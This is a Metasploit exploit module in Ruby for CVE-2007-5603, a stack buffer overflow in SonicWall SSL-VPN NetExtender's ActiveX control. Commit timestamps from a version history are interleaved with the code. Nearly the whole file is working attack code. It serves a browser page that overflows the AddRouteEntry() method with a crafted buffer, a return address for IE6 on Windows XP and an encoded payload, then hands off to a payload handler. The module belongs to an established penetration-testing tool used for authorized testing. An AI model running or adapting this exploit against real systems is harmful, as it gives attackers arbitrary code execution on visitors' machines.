2007-11-01 23:15:34 +00:00
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##
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2008-04-21 05:27:06 +00:00
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# $Id$
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2007-11-01 23:15:34 +00:00
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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2012-02-21 01:40:50 +00:00
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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2007-11-01 23:15:34 +00:00
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##
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require 'msf/core'
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2008-10-02 05:23:59 +00:00
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class Metasploit3 < Msf::Exploit::Remote
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2009-12-06 05:50:37 +00:00
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Rank = NormalRanking
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2007-11-01 23:15:34 +00:00
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2008-10-02 05:23:59 +00:00
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include Msf::Exploit::Remote::HttpServer::HTML
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2007-11-01 23:15:34 +00:00
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'SonicWall SSL-VPN NetExtender ActiveX Control Buffer Overflow',
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'Description' => %q{
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2010-05-09 17:45:00 +00:00
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This module exploits a stack buffer overflow in SonicWall SSL-VPN NetExtender.
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2010-04-30 08:40:19 +00:00
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By sending an overly long string to the "AddRouteEntry()" method located
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in the NELaunchX.dll (1.0.0.26) Control, an attacker may be able to execute
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arbitrary code.
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2007-11-01 23:15:34 +00:00
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},
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'License' => MSF_LICENSE,
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2010-04-30 08:40:19 +00:00
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'Author' => [ 'MC' ],
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2007-11-01 23:15:34 +00:00
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'Version' => '$Revision$',
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2010-04-30 08:40:19 +00:00
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'References' =>
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2007-11-01 23:15:34 +00:00
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[
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2009-07-27 14:05:23 +00:00
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[ 'CVE', '2007-5603'],
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[ 'OSVDB', '39069'],
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2007-11-01 23:15:34 +00:00
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[ 'URL', 'http://www.sec-consult.com/303.html' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 800,
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'BadChars' => "\x00\x09\x0a\x0d'\\",
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2008-08-01 20:04:42 +00:00
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'StackAdjustment' => -3500,
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2007-11-01 23:15:34 +00:00
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'IE 6 / Windows XP SP2 Pro English', { 'Ret' => 0x7e497c7b } ], # 11/01/07
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],
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'DisclosureDate' => 'Nov 1 2007',
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'DefaultTarget' => 0))
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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# Randomize some things
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vname = rand_text_alpha(rand(100) + 1)
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strname = rand_text_alpha(rand(100) + 1)
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2010-04-30 08:40:19 +00:00
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# Set the exploit buffer
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sploit = rand_text_english(36) + [target.ret].pack('V')
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2007-11-01 23:15:34 +00:00
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sploit << p.encoded + rand_text_english(1024 - p.encoded.length)
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2010-04-30 08:40:19 +00:00
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2007-11-01 23:15:34 +00:00
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# Build out the message
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2010-04-30 08:40:19 +00:00
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content = %Q|<html>
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2007-11-01 23:15:34 +00:00
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<object classid='clsid:6EEFD7B1-B26C-440D-B55A-1EC677189F30' id='#{vname}'></object>
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<script language='javascript'>
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var #{vname} = document.getElementById('#{vname}');
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var #{strname} = new String('#{sploit}');
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#{vname}.AddRouteEntry(#{strname}, #{vname});
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</script>
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</html>
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2010-04-30 08:40:19 +00:00
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2012-04-20 19:31:42 +00:00
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print_status("Sending #{self.name}")
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2007-11-01 23:15:34 +00:00
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# Transmit the response to the client
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send_response_html(cli, content)
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2010-04-30 08:40:19 +00:00
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2007-11-01 23:15:34 +00:00
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# Handle the payload
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handler(cli)
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end
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2009-07-27 14:05:23 +00:00
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end
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